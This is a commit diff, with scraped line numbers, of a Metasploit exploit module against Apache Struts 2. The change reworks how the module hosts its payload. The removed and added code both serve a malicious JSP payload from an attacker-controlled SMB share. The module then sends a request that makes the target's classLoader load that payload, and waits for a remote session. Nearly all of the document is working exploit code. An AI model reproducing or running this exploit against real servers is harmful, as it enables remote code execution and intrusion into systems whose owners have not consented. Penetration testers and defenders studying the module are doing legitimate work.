@@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
9
9
Rank = GreatRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
- include Msf ::Exploit ::Remote ::SMBFileServer
12
+ include Msf ::Exploit ::Remote ::SMB :: Server :: Share
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
@@ -50,12 +50,11 @@ def initialize(info={})
50
50
) )
51
51
register_options (
52
52
[
53
- OptString . new ( 'UNCPATH' , [ false , 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share)' ] ) ,
54
- OptString . new ( 'URI' , [ true , 'Path to vulnerable Struts action file' , '/struts2-blank/example/HelloWorld.action' , true ] ) ,
55
- OptString . new ( 'SHARE' , [ false , 'A static share path (ie. "share")' ] ) ,
56
- OptString . new ( 'JSP' , [ false , 'A static JSP name (ie. "/example/HelloWorld.jsp")' ] ) ,
53
+ OptString . new ( 'URI' , [ true , 'Path to vulnerable Struts action file' , '/struts2-showcase/showcase.action' , true ] ) ,
54
+ OptString . new ( 'FILE_NAME' , [ true , 'A static JSP name (ie. "/example/HelloWorld.jsp")' , 'showcase.jsp' ] ) ,
57
55
Opt ::RPORT ( 8080 )
58
56
] , self . class )
57
+ deregister_options ( 'FILE_CONTENTS' )
59
58
end
60
59
61
60
def check
@@ -69,39 +68,10 @@ def check
69
68
end
70
69
end
71
70
72
- def start_server
73
- if ( datastore [ 'UNCPATH' ] )
74
- @unc = datastore [ 'UNCPATH' ]
75
- print_status ( "Remember to share the malicious JSP payload as #{ @unc } " )
76
- else
77
- print_status ( "Generating our malicious jsp..." )
78
- jsp = payload . encoded
79
-
80
- # Check if URI and JSP differ
81
- if not datastore [ 'JSP' ]
82
- @jsp_file = datastore [ 'URI' ] . split ( '/' ) . last ( 2 ) . join ( '/' ) . gsub ( /action/ , 'jsp' )
83
- else
84
- @jsp_file = datastore [ 'JSP' ]
85
- end
86
- @jsp_file = @jsp_file . gsub ( /\\ / , '/' )
87
- @jsp_file = @jsp_file . gsub ( /\/ \/ \/ \/ / , '/' )
88
-
89
- if not datastore [ 'SHARE' ]
90
- @share = rand_text_alpha ( 5 )
91
- else
92
- @share = datastore [ 'SHARE' ]
93
- end
94
-
95
- my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
96
- @unc = "\\ \\ #{ my_host } \\ #{ @share } "
97
- vprint_status ( "About to start SMB Server on: " + @unc + " for " + @jsp_file )
98
- start_smb_server ( @unc , jsp , @jsp_file )
99
- end
100
- end
101
-
102
- def exploit
103
- start_server
104
- share = "#{ @unc } "
71
+ def primer
72
+ self . exe_contents = payload . encoded
73
+ print_status ( "File available on #{ unc } ..." )
74
+ share = "#{ unc } "
105
75
sploit = datastore [ 'URI' ]
106
76
share = share . gsub ( /\\ / , '/' )
107
77
#sploit << '?class.classLoader.resources.dirContext.docBase='
@@ -116,11 +86,11 @@ def exploit
116
86
'uri' => sploit
117
87
} , 30 )
118
88
119
- if res and res . code == 200
120
- print_status ( "#{ peer } - JSP payload uploaded successfully" )
121
- handler
122
- else
123
- fail_with ( Failure ::Unknown , "#{ peer } - JSP payload upload failed" )
89
+ # Wait 30 seconds for session to be created
90
+ 1 . upto ( 30 ) do
91
+ break if session_created?
92
+ sleep ( 1 )
124
93
end
94
+ disconnect
125
95
end
126
96
end
0 commit comments